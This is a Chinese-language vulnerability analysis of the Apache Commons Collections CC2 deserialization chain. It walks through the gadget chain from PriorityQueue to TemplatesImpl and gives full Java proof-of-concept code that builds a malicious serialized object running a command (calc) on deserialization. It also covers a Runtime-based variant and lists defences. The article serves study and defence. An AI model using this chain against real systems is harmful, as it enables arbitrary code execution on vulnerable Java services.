"白痴"上帝视角调节反序列化链之CC2
字数 1038 2025-08-04 00:38:02
Apache Commons Collections 反序列化漏洞分析(CC2链)
漏洞概述
本文详细分析Apache Commons Collections反序列化漏洞中的CC2利用链,该漏洞允许攻击者通过构造特定的序列化数据,在目标系统上执行任意代码。
前置知识
Javassist动态编程
- 用于动态生成和修改Java字节码
- 可以看作加强版的反射机制
- 关键功能:创建新类、修改类方法、生成字节码
反序列化基础
- Java反序列化时会调用对象的readObject()方法
- 通过构造恶意序列化对象可以触发漏洞
漏洞分析
关键类分析
PriorityQueue类
- 反序列化入口点
- readObject()方法调用链:
readObject() -> heapify() -> siftDown() -> siftDownUsingComparator() -> compare()
TransformingComparator类
- 实现了Comparator接口
- compare()方法中调用了transform()方法
- transform()方法通过this.transformer执行操作
TemplatesImpl类
- 提供字节码加载和执行能力
- 关键调用链:
newTransformer() -> getTransletInstance() -> defineTransletClasses() -> loader.defineClass(_bytecodes[i]) -> _class[_transletIndex].newInstance()
漏洞利用条件
-
TemplatesImpl类条件:
_name字段不能为空_bytecodes字段不能为空- 生成的类必须继承
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
-
PriorityQueue条件:
- 需要设置comparator为TransformingComparator实例
- queue数组需要包含恶意对象
完整利用链
PriorityQueue.readObject()
-> heapify()
-> siftDown()
-> siftDownUsingComparator()
-> TransformingComparator.compare()
-> InvokerTransformer.transform()
-> TemplatesImpl.newTransformer()
-> getTransletInstance()
-> defineTransletClasses()
-> loader.defineClass(_bytecodes[i])
-> _class[_transletIndex].newInstance()
漏洞利用步骤
1. 生成恶意类字节码
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
CtClass payload = classPool.makeClass("e0mlja");
payload.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = payload.toBytecode();
2. 构造TemplatesImpl对象
Object templatesImpl = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl")
.getDeclaredConstructor().newInstance();
// 设置_bytecodes字段
Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl, new byte[][]{bytes});
// 设置_name字段
Field field1 = templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl, "test");
3. 构造TransformingComparator
InvokerTransformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(transformer);
4. 构造恶意PriorityQueue
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
// 设置comparator字段
Field field2 = queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue, comparator);
// 设置queue字段
Field field3 = queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue, new Object[]{templatesImpl, templatesImpl});
5. 触发反序列化
// 序列化
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
// 反序列化触发漏洞
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
替代方案分析
直接使用Runtime对象
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class}, new String[]{"calc.exe"});
TransformingComparator comparator = new TransformingComparator(invokerTransformer);
PriorityQueue queue = new PriorityQueue(2, (Comparator) comparator);
queue.add(runtime);
queue.add(runtime);
// 修改queue字段
Field field3 = queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue, new Object[]{Runtime.class, Runtime.class});
优缺点:
- 优点:简单直接,不需要动态生成类
- 缺点:功能受限,只能执行命令;Runtime类不可序列化
防御措施
- 升级Apache Commons Collections到安全版本
- 使用反序列化过滤器
- 禁止反序列化不可信数据
- 使用安全管理器限制敏感操作
总结
CC2利用链通过PriorityQueue的反序列化过程,结合TransformingComparator和TemplatesImpl的特性,实现了任意代码执行。相比CC1链,CC2使用了不同的技术路线,但同样危险。理解这些利用链有助于更好地防御此类漏洞。